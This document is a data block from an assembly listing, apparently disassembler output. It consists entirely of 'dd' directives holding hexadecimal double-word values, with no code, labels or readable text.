		dd 8B6000D0h, 355033D2h, 661436CBh, 4C9CA0FBh, 0EF890091h
		dd 0ECBA259Dh, 2C6E842h, 8DCC04FCh, 0BCA1DC29h,	9335BA0h
		dd 37009C22h, 0F4CC1D6Ah, 0D9759C2Fh, 5548F700h, 0A0288FB0h
		dd 131700D1h, 3F0D2EB5h, 4A0261E9h, 0B0142127h,	6390406Eh
		dd 0D0676042h, 0FC70AB16h, 0FD1A4100h, 3092B778h, 5C33982Eh
		dd 7701F8CAh, 0AEAD8682h, 3FCC44Eh, 0F7077300h,	0D6DFD752h
		dd 6FC8FFF6h, 0B3F01DCh, 9F17D49Ch, 97EFD078h, 68C0AF71h
		dd 3DC9F1B9h, 0C55300A8h, 7F6D7BA0h, 0BE605A62h, 0B7C16320h
		dd 663A001Eh, 0D231D47Dh, 0FAEE16F8h, 0F53ED602h, 0E095A61Fh
		dd 400C7FF4h, 38006D41h, 0CFBEA89Dh, 0ABB289h, 0D09B591Fh
		dd 0E62BC784h, 0BD42A203h, 88AE28F8h, 0BC1EAAh,	3483B77Bh
		dd 21C16417h, 6F4F0E00h, 161B3BFFh, 0F30C0287h,	5A7376CDh
		dd 7FD020C0h, 1079777Fh, 370704B8h, 7141452Fh, 0CAC98911h
		dd 39C160h, 0D78D2C8Eh,	0AF1663EFh, 0B85E1405h,	2683564Dh
		dd 7E8002C2h, 0CB7C369Ch, 8C97B080h, 60546AF4h,	500AEF8h
		dd 4E3064A1h, 7EC852h, 0BE7FB319h, 69DF2D5h, 0D0002BE0h
		dd 83E2B421h, 282662BCh, 0ACA93Fh, 54B26A0Bh, 485E193Ah
		dd 59735D1Dh, 20B5F54Dh, 9C329E87h, 6599F094h, 0B0333A7h
		dd 0E5ADDADEh, 0DF5B8863h, 3D1F3CB9h, 0A8E48AE0h, 30000A5Ah
		dd 6BA6D6Ah, 0EEF66DFh,	35B3D5C6h, 8D470C60h, 0F70087C2h
		dd 8654C8CCh, 905631FCh, 70890A4Fh, 0D86928h, 999D497Ch
		dd 0EE0085BEh, 9B869AF3h, 0FED7E1h, 0A4F874A2h,	71428843h
		dd 560172E4h, 6BC0326Fh, 2A154Bh, 3DBB3832h, 461FF35Eh
		dd 4CFF594Ch, 4D0F077Fh, 7FF08558h, 121EBDFCh, 8051783Ch
		dd 1D7BD6E8h, 0C0F1D700h, 0B4CCEB9h, 79C41EF3h,	7D3FC026h
		dd 0D05ABC5Fh, 36F69D0Fh, 456360D8h, 80C310h, 0C155CD2Bh
		dd 0CA837E9Fh, 3EF1D300h, 6F3FDB7Ch, 76D47D3Bh,	654000BBh
		dd 8CD68AE1h, 450057D3h, 0E0D15AC2h, 7213B2Ah, 0BBFF3202h
		dd 88F44142h, 71F9CBE3h, 53D8CB46h, 9400BE85h, 0B5C29D4h
		dd 1D06035Fh, 57EF5B77h, 99A8004Ch, 5C9BE06Eh, 3B4739h
		dd 90E11644h, 0F665CCE3h, 0D6F33CE4h, 7837C16h,	5018814Bh
		dd 6A108F5Dh, 959B8800h, 32BE94F2h, 0C8DF00C3h,	54A3B8D3h
		dd 7D7C8464h, 0ACE8690Fh, 0B43E8075h, 74634C8Ch, 975C50E5h
		dd 50A30320h, 30DA9558h, 7F6EDC8h, 976C3F00h, 2747AC5Bh
		dd 321E0718h, 5EA14874h, 8A6267C0h, 0B1F8AB9Ch,	5B42500h
		dd 69F4BD27h, 2F0F00BCh
		dd 11EF369Fh, 0D001CF84h, 0C53F1001h, 0FCC8395Ah, 0E55E0053h
		dd 33A5D19Eh, 780041D2h, 0ADCA1DDDh, 6B8F79h, 0A27B04BCh
		dd 0EE77EDB5h, 0C5478A00h, 0FA942C88h, 134A036Dh, 1966181Eh
		dd 0CB9FEEC0h, 400B4F0h, 609314D9h, 3CA231D6h, 0C680AAABh
		dd 91320956h, 0C289ACEh, 0C8009C9Eh, 0AA431D18h, 1904EF0h
		dd 3ABFD837h, 0EC7C24C5h, 0A600EC5Bh, 0DC254DB3h, 0C144A8h
		dd 0E0B8A309h, 795D2BAEh, 28ACBB5Ch, 0F500F41Ah, 0FBA9D8ECh
		dd 0F76F3h, 3B4F3D5Eh, 0FAF2A75Ch, 50CD6F00h, 1F0BDFB2h
		dd 5B9800D9h, 0DEE60C34h, 35008F58h, 84CD68A0h,	4CAB9499h
		dd 1601C2FFh, 8C02C069h, 2742F0A2h, 0C497AC00h,	3EE3F91Fh
		dd 0C3EC0005h, 0E9E79C23h, 20009365h, 7D343851h, 0C98704h
		dd 0CF7BE2A9h, 0E78289D5h, 5962C500h, 0A32BE4FDh, 0EDB80030h
		dd 55F3F573h, 1407A2B1h, 0A47A5CBCh, 3037B557h,	0DF1646A0h
		dd 0B03B0929h, 0BC80A325h, 3C7DA8A1h, 0F8BBC000h, 84E1AA0Ch
		dd 0FDEA3A76h, 8F125700h, 8CD1DCC9h, 26D4D802h,	0E0C0E021h
		dd 166AE670h, 0F5FCE46h, 0D7E11BC9h, 0C15375C9h, 0C458E064h
		dd 0AFA67F3Eh, 0BE2AE0F3h, 385200C2h, 0BC762E36h, 0EA00FA7Ah
		dd 0A23ABDD3h, 988AF4A6h, 0ABF00073h, 9279CADFh, 0A000639Bh
		dd 13782D2Fh, 3D2FD0Ah,	772087E6h, 0CBF29D81h, 41AFC0DDh
		dd 3D5B00A7h, 861EA450h, 3707C433h, 0AB2F9820h,	0B8DDDEA0h
		dd 9AD5001Fh, 4A856462h, 0FB0382B7h, 0E8840E81h, 247080A2h
		dd 7B02485Eh, 55D39B00h, 3404076Eh, 0F3674100h,	76BB89CAh
		dd 827A2F80h, 632499E0h, 0D96CF600h, 944650B1h,	36BB000Ah
		dd 0B4822369h, 2929E6EFh, 5F00BC0Bh, 0BE469681h, 0D95D26FDh
		dd 487A4054h, 9007405h,	0F09C75C0h, 69C813h, 28E6556Bh
		dd 0B3018A0Ah, 80D81C3Dh, 0DA2C9E2Fh, 9CCA9Dh, 45D353F4h
		dd 6A2E9C7h, 9F9B6B00h,	0CAC267EAh, 48C0F8F0h, 0DD001B3Ch
		dd 0C616E852h, 7700C412h, 6C3B8CB8h, 91BFA7h, 39ED772h
		dd 0A02949C3h, 112ED000h, 0C437C5B1h, 19E4BAh, 2C750E6Dh
		dd 0EF5D7B3Ch, 57344800h, 46EF13Eh, 10544CC0h, 0CB39AC05h
		dd 0B44808Dh, 0F601BE69h, 0A934B09Ah, 5C708720h, 0C4AF042Fh
		dd 90062EC0h, 9DEDB300h, 1B90FC00h, 0B3764DDh, 0FACF04C3h
		dd 0C5284E43h, 0EBA780F0h, 0BF01F0D4h, 2B5710B8h, 0FED4061Ch
		dd 0C70C3D96h, 8B00D9ACh, 0B28024C3h, 0A69C7BA1h, 19D67F00h
		dd 0A7FF93E6h, 0F6CD75B5h, 511100B7h, 0A1E13302h, 17005367h
		dd 4BA9D66Eh, 22757Bh, 0F4558CDBh, 0D22BD0E2h, 0BE8A6513h
		dd 21BDD102h, 67C04131h, 7EDF0760h, 0C28B3CC3h,	7A0F7900h
		dd 0F20CC81Bh, 2233F03h, 0B8491DACh, 937230h, 785E13CFh
		dd 0B98B328Fh, 3CE85500h, 878581B1h, 693B60CDh,	1C64C7A6h
		dd 0B712CF00h, 617CDC4Dh, 5C9A2Dh, 1B24BBE9h, 38ED0B9Fh
		dd 7FBC3500h, 15CD7078h, 38E0080h, 2C366997h, 3A0084C7h
		dd 0BB3D3D7h, 2E0E4179h, 1875B82Fh, 0A22BF1F3h,	2486AA00h
		dd 7C139DA9h, 584A4899h, 3C95531Fh, 0D43E8CD9h,	9175DE00h
		dd 0B305C2E7h, 94CB250Ch, 8922112h, 0F2DA881Dh,	0FE2BCC00h
		dd 0C5ACFD9h, 0FC561105h, 1230D728h, 58FD301Eh,	1BF63952h
		dd 8FE9A283h, 187BDEA7h, 0E803027Ch, 0E3C4D7C3h, 0B45EA8C5h
		dd 3FA503F5h, 0B3929A8Ah, 0CF85A000h, 56CBFE33h, 0A6610448h
		dd 90D2E979h, 0AA8B9AB8h, 9712F500h, 9305B957h,	0CF11C098h
		dd 7E330F2Ch, 9D924802h, 8AC47C34h, 120CFD7Ch, 3A1B8858h
		dd 675B2FCh, 3AD4B152h,	9A28C161h, 0DD306CC9h, 0F62CF8BAh
		dd 0BEE20080h, 0AA906176h, 0C00CF3Dh, 0B8E18E96h, 0A1CC9Ch
		dd 5E12B0EDh, 0AF8B3748h, 417B7C0Eh, 75EBE0BFh,	211E4Ah
		dd 0C528369Bh, 0DE5C42D1h, 0DB868200h, 0D743B8FDh, 1D8D010Fh
		dd 3D52EBC2h, 0E3E5D86Bh, 0A34DDE03h, 0E8EA25F4h, 1DCE7F72h
		dd 0A7359h, 9B0FCC54h, 8800B6B5h, 13BBE353h, 446BAC5Ah
		dd 9B052542h, 99DA54Fh,	16C4A806h, 0B8185408h, 20D3E45h
		dd 0D370DE80h, 3F589CEh, 9E333498h, 0FC6CC7h, 0FF5B3210h
		dd 0DCB1DAE5h, 0EF00527Ch, 0AD88D7D6h, 0A4EEA816h, 0F4DE009Ch
		dd 3BCFA7C4h, 56904AE7h, 217008DDh, 0C4891Dh, 0FFFE394Bh
		dd 0EE1A31B9h, 7D9A880Eh, 464F87F6h, 5CA0C246h,	141FE49Dh
		dd 33D0B087h, 770096BCh, 13FFC252h, 0E8F60A9Ah,	10924Ch
		dd 0CC899744h, 2C038C50h, 0BD912200h, 58B63256h, 0D6B200EBh
		dd 2DB8E536h, 0D209C7C8h, 802EC2C6h, 3CE24D44h,	0FE2503D9h
		dd 0E4DE3F43h, 0DC56D6E0h, 47F82F00h, 5F9B0C23h, 0A408CCBBh
		dd 951DD648h, 27002F71h, 24CE6256h, 2B0F0789h, 0D2B87B39h
		dd 3600F9DEh, 0E4DC1805h, 3B040681h, 8AC63D7h, 4021456Eh
		dd 0C70EDC43h, 0D43C0333h, 74667591h, 0D264B801h, 0CF5682FDh
		dd 0B08363C0h, 0B86500EFh, 27C62DBBh, 7B00919Eh, 0E3D3CE10h
		dd 3CC1D134h, 0E100B747h, 21F51328h, 0E9006E4Dh, 0F8030E63h
		dd 2E23722h, 0AD7AE43Ah, 0CA40A1B5h, 4B00ECACh,	0A60F6C8Bh
		dd 0E5DC67h, 0E440091Fh, 0A825B803h, 0C75A0B00h, 0A614B0CCh
		dd 0E3725C46h, 0E7172203h, 0F0CF1FE2h, 56665485h, 2787061Eh
		dd 0E8BF3600h, 0E52F7Fh, 0C3730B8Eh, 0F15C6FFCh, 651ED0F8h
		dd 1EDD1663h, 55033000h, 0EF36D4Eh, 2FA4D3Bh, 7E5B4180h
		dd 7BE0014Fh, 4E1EC500h, 145235D6h, 54D106E6h, 10209DB5h
		dd 0F5049C54h, 28258631h, 7A70C6CCh, 9DE3003Ah,	5895133Ch
		dd 731FD98Ah, 7580F52Fh, 87CC41F2h, 28406230h, 0C3213781h
		dd 8A0272FFh, 88337F10h, 9A883BC5h, 1653080Eh, 314256F5h
		dd 212922AFh, 10D30A23h, 1E775279h, 86405488h, 0B93371DFh
		dd 0F4FB0050h, 3F2453DEh, 0CF7B19AFh, 51226D00h, 43853025h
		dd 18F306C8h, 0F4FDD55Ah, 0F96E7D00h, 6DB70D0Bh, 880C0082h
		dd 0B1715FFCh, 6A006026h, 2C1C5303h, 18DFB02h, 0AC519CDBh
		dd 308F5254h, 1A00E440h, 5A157C0Dh, 31CB94h, 6692AE1Ch
		dd 0BA9CD111h, 7FF7C003h, 70D43A0Eh, 0CF7F96h, 3E5E86Ch
		dd 98A6474Fh, 0D722BA01h, 0C8D1EA57h, 878DC850h, 4B130034h
		dd 3F2B21AFh, 0F47BFF60h, 0E000C47Ch, 0FA6D063Ah, 3F9EED7h
		dd 0D392DD0Ah, 0CA976A0h, 77A7F451h, 1501ED5Ch,	0F47C45h
		dd 0E9D17199h, 3449EB6h, 11CA7983h, 5AE887B4h, 8B00F47Ah
		dd 4C2F29A8h, 6B036Ch, 90CE0201h, 0A2CB2D54h, 307F580Bh
		dd 80EF427Eh, 6421B972h, 8A55000Fh, 4A8D869Dh, 2F04D2D9h
		dd 14B1E86Ah, 502014C7h, 1EB06F3h, 185BBDACh, 8E262F86h
		dd 0E101B8D8h, 0EC628459h, 0C630E8h, 85BF50A5h,	82C488E5h
		dd 0BB93D500h, 0B6104BB5h, 0E4FD3D2Bh, 0DCFBFE00h, 0F4145BBCh
		dd 5EB80700h, 0F7E1ACC1h, 9E9724D1h, 57C000A4h,	0CB0ED4BAh
		dd 6A922400h, 16DCB8AFh, 102A6080h, 0E42E0D97h,	4F03DF7Bh
		dd 3FEFD507h, 0FAAF83B1h, 32904089h, 1B67764h, 0A24D3D1Ah
		dd 0F1CAB3CDh, 3378E8F3h, 0B9819500h, 0EAC8834Ch, 2DC50082h
		dd 9C8E415Ah, 0D338337Ch, 58558BA4h, 46901A9h, 0DDC86E28h
		dd 0F860079Ah, 632F593Eh, 0EBF020F4h, 0C71DEC50h, 0B2C099F5h
		dd 0B559DC6Eh, 219760C0h, 3FB7BA83h, 0C4D1AC00h, 346C42B2h
		dd 0C98800CEh, 51CCEF39h, 0D90232DAh, 0F2EE33D6h, 0A65840ADh
		dd 0A27670h, 0D45D9005h, 7D43DAD5h, 7CCC1E01h, 175481F4h
		dd 0F1A1820h, 9D67FDF1h
		dd 0C0C15AA5h, 1B382D35h, 68C03F00h, 60565E1h, 0C8FD004Dh
		dd 69A555FAh, 0E7004EBCh, 528517D0h, 86A43Bh, 53B4D779h
		dd 2A250DFBh, 1375EA1Dh, 0F27873C2h, 0F07FC097h, 146D3DEEh
		dd 0DBEA3E03h, 0E5C05881h, 5B00A0FFh, 67D860B8h, 33970Ah
		dd 0F02E68CEh, 8B36862Ah, 0FC759000h, 96AF7458h, 945F02DEh
		dd 287B2991h, 0DCF06860h, 0E72BD91Ch, 0B8A19BC0h, 4B9CC4h
		dd 9711AADBh, 741477E1h, 6DBF8A05h, 1180100Ah, 0B213B1h
		dd 2EA8F5DDh, 22C1B365h, 0D5A4D904h, 18C10FA2h,	8EF8F9B7h
		dd 0E011EC1Fh, 0F44C0036h, 8A2C2B2Dh, 1B00EB07h, 76906557h
		dd 1592F9h, 78E19C73h, 63ACDCBBh, 28871734h, 959035C0h
		dd 0E8FE6F3h, 984BB7ECh, 70FCC5AAh, 6E00FE6Ch, 0FC055B72h
		dd 50FF418h, 5C94073Dh,	0E8B400F9h, 0BA4FA806h,	0D4882000h
		dd 0AE42DE78h, 0F438517Bh, 805DC3C4h, 0CE799417h, 34A84400h
		dd 69525F51h, 0C43F39CAh, 0A243E400h, 9955C795h, 0BC2E8700h
		dd 3450926Ch, 75E8796Eh, 567B00F5h, 96D36D8Fh, 0FC24B060h
		dd 2200952Ah, 4FE3F29h,	0EC9504C4h, 0C0B67343h,	0AEC20388h
		dd 0B3DA1500h, 0A1D633Ch, 1458980Ch, 0DC6E2F8Bh, 44D32Ah
		dd 1F826FE7h, 84F179A6h, 8D709F60h, 0A157CDh, 0FC18FFB3h
		dd 0A4196B3Fh, 0B49DC300h, 0EE73402Ah, 41B61F9Ch, 9125C73Bh
		dd 846FF00Ah, 6A12652Ch, 0F0005C23h, 6C55CD0Bh,	0CF181F94h
		dd 0A4101480h, 83811207h, 1F475044h, 8907C239h,	66EE054Dh
		dd 30CB2C60h, 3AE40041h, 0D7BFF8AEh, 0D6002351h, 0EE11F131h
		dd 0E0FA21h, 8BE34A8Ch,	840135E5h, 2AD2BF00h, 0AEF8A36Dh
		dd 0FA450016h, 0DB2CD2Dh, 250092ECh, 0D9037FBAh, 1408F6h
		dd 75693B17h, 0AFF5CECBh, 46730400h, 8090E20h, 1431035Fh
		dd 34DE6AC9h, 6DF08EA8h, 0EA930F07h, 0DFB0E3FFh, 1743A4h
		dd 0AB76711h, 3805D165h, 101AD400h, 0D0AB4D01h,	0E83B4880h
		dd 40EB8401h, 0F19AD709h, 0CC8DCE7h, 0EFB5F700h, 9C8CA722h
		dd 6EDA0E54h, 66606008h, 9449D99Bh, 97DD2600h, 8693AFA8h
		dd 0D60600FCh, 64AE70BEh, 0E70EA41Fh, 0DF243DA5h, 31ACCE40h
		dd 566A7h, 231EADEDh, 378FBC5Fh, 0A22E4E00h, 86DD276Dh
		dd 0FF1A162Bh, 0C4B44013h, 0CBE399Ah, 247E141Dh, 84645880h
		dd 7447276Eh, 0F9180F85h, 4078F73Dh, 0AD987B45h, 8057A93Dh
		dd 0AFBEEA14h, 75C817h,	0A1430DD4h, 7985D750h, 0F310080Fh
		dd 8DA5074Ch, 32E467D0h, 17A30018h, 0DD21595Dh,	0C03D4B1h
		dd 268FF2A9h, 6BC18707h, 8330D5C9h, 0B2B10088h,	0E5AB9689h
		dd 55008705h, 1ADF9954h, 48D471h, 5045C0ACh, 0BCC84F78h
		dd 28645D0Eh, 0CA20F92Dh, 901D530h, 535B59BBh, 7A14DE80h
		dd 60BF632Ah, 0F5D335h,	9A6B7CCh, 0AD6A9CE1h, 550A800h
		dd 2F3DC530h, 0F89B5878h, 16ECA11h, 9FB91287h, 63CA6D8Ch
		dd 0A557D038h, 0DDD400ADh, 1E2949D2h, 0FC00BEA7h, 0B4C062E5h
		dd 7ECA70A3h, 0A259007Ah, 2F93696Ah, 4000BA6Dh,	9BB7EAEh
		dd 2447E779h, 7201AFDh,	907565E0h, 5948926Dh, 305E0A00h
		dd 0D3AFA51Bh, 34947Bh,	80AE1F8Bh, 0BFC23F2h, 960094E0h
		dd 8AF8CECh, 0E2D9A7Bh,	70FDA8DDh, 0C6EF420h, 0F6FA1661h
		dd 0A4605E00h, 0FD1258BEh, 3F190035h, 8FA72CA9h, 0BB0F9E30h
		dd 2E56D9h, 7C2A5D24h, 0B6E4005Fh, 7E22F60Ch, 4B008F95h
		dd 98F8FAE9h, 24799h, 913C186Bh, 5CA0837Fh, 4C170C90h
		dd 0BC002610h, 3DD5575Fh, 0B665397Dh, 0D6A08080h, 34DC0B9Fh
		dd 3126B701h, 0F86F2069h, 38CAF0h, 0A51C812Ah, 0C3FE411Fh
		dd 0A358AE00h, 8E970FDEh, 4B6E004Eh, 50E72C25h,	0D560B281h
		dd 0A507D14Eh, 587177h,	9112E621h, 3A56C01Bh, 54FE0C0Fh
		dd 574800C9h, 229A89h, 881058D2h, 8D734215h, 0C971C703h
		dd 0E0E47C1Ch, 589AEEh,	6EA6E870h, 9C6F17ADh, 480043FEh
		dd 0A7CA3521h, 48E869C4h, 770BFA86h, 0F28E3328h, 0D4F64940h
		dd 0FD00596Ch, 4B6DE91Fh, 0A089FEEAh, 0B12EB2h,	0E8293693h
		dd 6984F91Ch, 0A695B516h, 0A900541Fh, 5AB33D28h, 0C808001Ah
		dd 0B65E470h, 1D001387h, 0CC8BFA26h, 46F29h, 649852FBh
		dd 40D07115h, 2C00F2B8h, 9C2B73DCh, 2355E1Fh, 0F31C8FC1h
		dd 8AE07FB8h, 54B017AEh, 77989B0Ch, 14F029h, 20D35E92h
		dd 0CA08B2E6h, 0DD2FB800h, 0A545C90Bh, 7950C074h, 3F222359h
		dd 70194C00h, 5E786236h, 0BF860024h, 99728556h,	8403D00Eh
		dd 77D74BC2h, 71FFF0BAh, 2D2200F4h, 0BFAFE546h,	1D1CE79Eh
		dd 0CBC021D3h, 33827D56h, 260800D1h, 0C2DDDF1Ah, 97B89E9h
		dd 0B56C3Eh, 0F4513CD5h, 714F637h, 0BA3B5F12h, 0A9D4C0BCh
		dd 0B00042C4h, 249269B7h, 4C75CA1Ah, 34309FC8h,	0F4D96050h
		dd 8083993Ch, 7CA478CCh, 82F65Eh, 64A6470Eh, 3E95237Dh
		dd 0E8CFBD50h, 0FB90EC07h, 8A304ECFh, 28D9A4h, 87E6EEAEh
		dd 961E52F8h, 0A05F6600h, 7997F06Eh, 99050901h,	34004946h
		dd 0A252C52Fh, 0A598A538h, 0AFF41Ch, 0C777598Eh, 0A705CEACh
		dd 0C3167BF2h, 804CAF09h, 5B7F787Ch, 0A077E063h, 79EC93B5h
		dd 21010040h, 0F807DBB5h, 76008F58h, 7D41254Ah,	0E575A6h
		dd 7080EECDh, 0A47E6C56h, 353C1500h, 0C8616DC0h, 0EFFB0033h
		dd 0DECC3E82h, 860018FEh, 6A4D76E5h, 0FD06595h,	96A2A989h
		dd 432A3E82h, 0EB280440h, 72A01D48h, 8935BF0Eh,	4CDBC158h
		dd 0FAC05282h, 3E660006h, 5C5724A4h, 0EF00A326h, 16DFEEBBh
		dd 59D8E1h, 0AB85A517h,	0D7660A1Ah, 391EA400h, 7351CAD2h
		dd 0A41B60D4h, 7F8C15CEh, 0BC670213h, 69B46901h, 0E5F8FC5Dh
		dd 13225C89h, 68D91707h, 18BA0C1h, 0F612B0FEh, 0FF0079A0h
		dd 45F9929h, 3C56002Ah,	8257325Ch, 0B819C967h, 28C9DFF0h
		dd 75037B08h, 79CF9AABh, 4617E8Bh, 0BAD0CA94h, 0F77890DFh
		dd 91EC286Bh, 8FC85305h, 0F880F38Ch, 1EE045Ah, 4B25D975h
		dd 0F516F040h, 0B8D1D85Fh, 7109B432h, 891C004Ch, 873C649Eh
		dd 0D2528341h, 0C0C5C924h, 0E571ABCh, 995EB9D3h, 7D7703E0h
		dd 50012296h, 9CD92F30h, 28202D9Dh, 0DF5400B8h,	6E64E9BAh
		dd 5A005C69h, 3C2396E2h, 0F36A266h, 982FC4AEh, 0A04C8EC7h
		dd 0DE1AE5EBh, 5AE30507h, 3DC03CBAh, 0B85551ADh, 43AC5C4Eh
		dd 3DCBB84Eh, 7731009Ah, 4DB434D1h, 12921FC2h, 0E9C740DCh
		dd 94F86207h, 0FC66ED05h, 0DC00CAB3h, 0F288D7BBh, 747D0330h
		dd 0F19380FAh, 8EAE40CFh, 910363FDh, 31C628D8h,	8911000Eh
		dd 0F5A8D6C4h, 30FA82FAh, 54F3A700h, 17D7FD48h,	0DDB71824h
		dd 0CE5260A0h, 6B715B00h, 0E5015E4Bh, 4337264Fh, 0A1330088h
		dd 19D9E03Fh, 0F2C5B200h, 0D662FFC6h, 917F0090h, 0B3B7BF3h
		dd 2E0E1D0Eh, 0E0F5432Bh, 0E68ACE36h, 0EE5D7095h, 4B730327h
		dd 0CD2AE8A9h, 0F940CC00h, 0B5F56555h, 0E8E24C82h, 9880E63Fh
		dd 0A77707BDh, 0D1F46609h, 6492F500h, 0CCFDE353h, 0C88000A1h
		dd 28377E4Eh, 0B4740DA5h, 4048F600h, 0CCC39111h, 38190099h
		dd 9638F30h, 0E0136B47h, 1800FCF8h, 0EEFE104Fh,	0BC0D009Ch
		dd 0C7F10ED3h, 60131918h, 980F03B5h, 2D40FE86h,	8B256F77h
		dd 3F330036h, 58BD01C2h, 8100C004h, 0ECD8183Eh,	0DD97B1h
		dd 9DC6C31Dh, 123F0D40h, 695B300h, 0B82AEADBh, 7C214831h
		dd 0F3B22000h, 77CE40DAh, 924E1103h, 0F8B3DD03h, 939D868h
		dd 21F80A4Ch, 0A69EFC80h
		dd 7203C37Fh, 3009A489h, 75490060h, 0C92A3A5Dh,	9D1E07F7h
		dd 1792D6F3h, 0C2A30C00h, 39B64B08h, 3B867743h,	381E135Bh
		dd 0E3229F00h, 4256ADC9h, 127994h, 9073C602h, 0F3961F64h
		dd 35994704h, 548084F1h, 10E3BCFEh, 9114E5h, 6C48FA67h
		dd 0F9AAEB1h, 0BA83AF38h, 0B9B2BDE0h, 600C956h,	5A488A71h
		dd 0FD1C7DDh, 0AFF73768h, 6990F1A0h, 0A200D04Ch, 0EE1599E5h
		dd 138BE7h, 0C90DA7F5h,	19522D8Dh, 421F8900h, 0DA70C032h
		dd 0D375001Dh, 48CFFCC3h, 4F00DCCEh, 0A51EE1FDh, 0F28639h
		dd 6C01CCDAh, 0A4B07F1h, 91603Fh, 0E9D7EF7Eh, 4084F4h
		dd 2E5F8176h, 42C1393Ch, 681A4103h, 0B7884883h,	13B2B320h
		dd 0C0263393h, 0E6D811C8h, 2E00F184h, 6A8BB5B4h, 3BC3CA4Ch
		dd 3980D161h, 2BCCFB29h, 5C2E48C5h, 0C0009D08h,	0A464FA4Ch
		dd 0E4C8009Eh, 9D9AA112h, 1A7DBE85h, 2E24C500h,	0F3877584h
		dd 0CD860190h, 0B006D2C2h, 0B885F828h, 5A9F18C0h, 439E31h
		dd 0A91583F9h, 2AAC4F0Fh, 2C57AE00h, 0B428522Bh, 0BCEC009Eh
		dd 0F2546368h, 73987F53h, 0D700377Fh, 886F64D6h, 1367FA3Eh
		dd 45F5CCh, 0C60956F4h,	157470BDh, 22BE4100h, 0B31D380Fh
		dd 0E4E70002h, 2B17B5DDh, 9209317Bh, 0A0A07467h, 0CFADBAB4h
		dd 0C73900EAh, 26663602h, 5500FD3Dh, 49CC6A5Dh,	11EFBAh
		dd 539C6765h, 880D6C07h, 0C748B00h, 3FFB725Dh, 124EF650h
		dd 1C130BC7h, 0DD6801F1h, 0D4D8842Fh, 0FA0078BDh, 0E2FD9A4Ah
		dd 0F0CC69F6h, 0C07F03h, 7062D5DAh, 30F95993h, 0F1D7DE1Fh
		dd 67C9FD83h, 0D073E942h, 13F8E4D0h, 28D5E59Dh,	0AC09479Ch
		dd 8F200Ch, 0EFFEA370h,	0B550054Dh, 801BBA01h, 86925958h
		dd 54F220C3h, 0DCA1AFFCh, 44204B27h, 0EDEE16h, 6429AF09h
		dd 3D9D2D36h, 17468100h, 129548ABh, 243C49C9h, 0BC96F300h
		dd 57A95807h, 0E97CDF70h, 1D3C403Bh, 63801D34h,	0B3046EEFh
		dd 7C7B8CEh, 39546FD4h,	803E8489h, 77FF0EDCh, 69296300h
		dd 6053BD4Eh, 90EA0006h, 88655DF5h, 0D00BBC7h, 0FB9C3C9Ah
		dd 7F4203h, 0A68D4332h,	6C4EA1B8h, 0D1F35D00h, 0CFA9C112h
		dd 0CF4DCh, 6B64DFADh, 74DA3178h, 1D07E41Dh, 0FF348280h
		dd 0B5C8EF5h, 62E058C6h, 279D5100h, 0E803845Eh,	43F635C2h
		dd 0F8A29BEAh, 6EE5D1h,	3AE91471h, 0DCF4B4EBh, 95D8F000h
		dd 452A5B1Bh, 0CEA00B2h, 5E8330DAh, 6C00A8FAh, 2B8EAF35h
		dd 4EBCD9h, 677D01E8h, 40765DB5h, 63C89000h, 0CF34A6Eh
		dd 0A71D0FA4h, 0EA82EEDCh, 9E82D81Fh, 5FC09AD9h, 7074019h
		dd 42D1931Ah, 4466A5F0h, 0CE2400EBh, 0AC559599h, 3D0080A7h
		dd 5EF06CAh, 733AC693h,	45090154h, 0CCE738C4h, 0D08FE529h
		dd 7E3AAECBh, 843D001Dh, 7625E2A6h, 375700C8h, 0E92389CAh
		dd 0D01699Ah, 4AD4B9DDh, 0CD47408Fh, 19B692C0h,	0EF9C5C74h
		dd 0E1775900h, 5C21EB53h, 0F78E2700h, 0A53DF390h, 83053B1Dh
		dd 250DC604h, 20AC80D4h, 0A600CBE0h, 0B9DE7FE4h, 3C90A4h
		dd 0FE6834D2h, 0B40AE165h, 838CBA00h, 8F35753Fh, 1C360374h
		dd 42C2BDC5h, 150B66B8h, 0FD024300h, 29FF414Eh,	0FB034C79h
		dd 46B3EC01h, 0D8C0A49Dh, 0BE00DF1Ah, 1EF9D84Eh, 7DA7180Bh
		dd 2BC00E5h, 0DB4D2B1Fh, 1600E15Ah, 1CF23E2Ch, 0CD27EBh
		dd 5CA0A56Ch, 787CEF09h, 0E80041E0h, 593E7F2Dh,	0BD14A8Fh
		dd 859B616Ah, 97AA1B80h, 77009C51h, 52F39F8Ch, 9007E59Ah
		dd 54BC3AA8h, 172B4180h, 58BB13A5h, 2ABAD800h, 0F85D4561h
		dd 0BD752Eh, 3C34192Ch,	1E62AE9Bh, 0C30070DFh, 26A45475h
		dd 87C13FD4h, 11C5D106h, 9A3E201Fh, 3C9B004Eh, 0E4947A78h
		dd 135777F0h, 0FEBE7D51h, 8925B301h, 2AF88E96h,	0EEA512E1h
		dd 5D4840BAh, 0B7D1D288h, 0C7AE70Eh, 15B10019h,	0CC0190h
		dd 0B99257Ch, 0E6351D2Fh, 0DB1A7D14h, 0A6488120h, 21CC1F7Eh
		dd 0CF150A4h, 603E50AEh, 1986099Fh, 0BE80DDD9h,	8F41E2BAh
		dd 986D8500h, 618A2738h, 247002AEh, 6EBC7A2Fh, 0E08239E0h
		dd 342C9100h, 604D0E80h, 20A20014h, 980BC61Ah, 0A100F061h
		dd 41BC1E7Eh, 3B146AFh,	0AECA3CEEh, 1CB85B20h, 1E98420Eh
		dd 3AB50613h, 0FECD0FFAh, 0CB2B9100h, 42DE63A8h, 0FB6D780h
		dd 65BE04h, 9D90419Ah, 46DDA345h, 0B190ABE2h, 0C0090A00h
		dd 80A9CB3Eh, 430B009Bh, 68EE857Eh, 639DC34h, 0C2A48023h
		dd 811EB716h, 0EBB60B5Bh, 0AB80438Bh, 0AE8D108Ah, 2C90B850h
		dd 2F1A1E01h, 84B148F4h, 8B54ECh, 163CE778h, 4D7AE1DBh
		dd 3E2E83Ah, 0F6F96ADEh, 8E7DC067h, 869B007Eh, 3CE5AF0Ch
		dd 0BB1FD9A1h, 4E924D01h, 51FE241Ch, 468A1BCh, 0D6BA78D7h
		dd 66101665h, 1B520C80h, 0A706008Dh, 0E6C5F3CBh, 3309DF93h
		dd 9642BAh, 898E6672h, 0AA28C451h, 2E9042A5h, 214604DAh
		dd 5194FCC0h, 71814AEh,	9BAA5189h, 88B65788h, 0C840F572h
		dd 298A62CFh, 412298EEh, 0F3962299h, 24A69A22h,	0B2512192h
		dd 11F4FA11h, 0A1902F35h, 0B5108616h, 787E5029h, 29DE6448h
		dd 0E804237Ah, 208D2471h, 0D000A682h, 0B919DDA1h, 272EEh
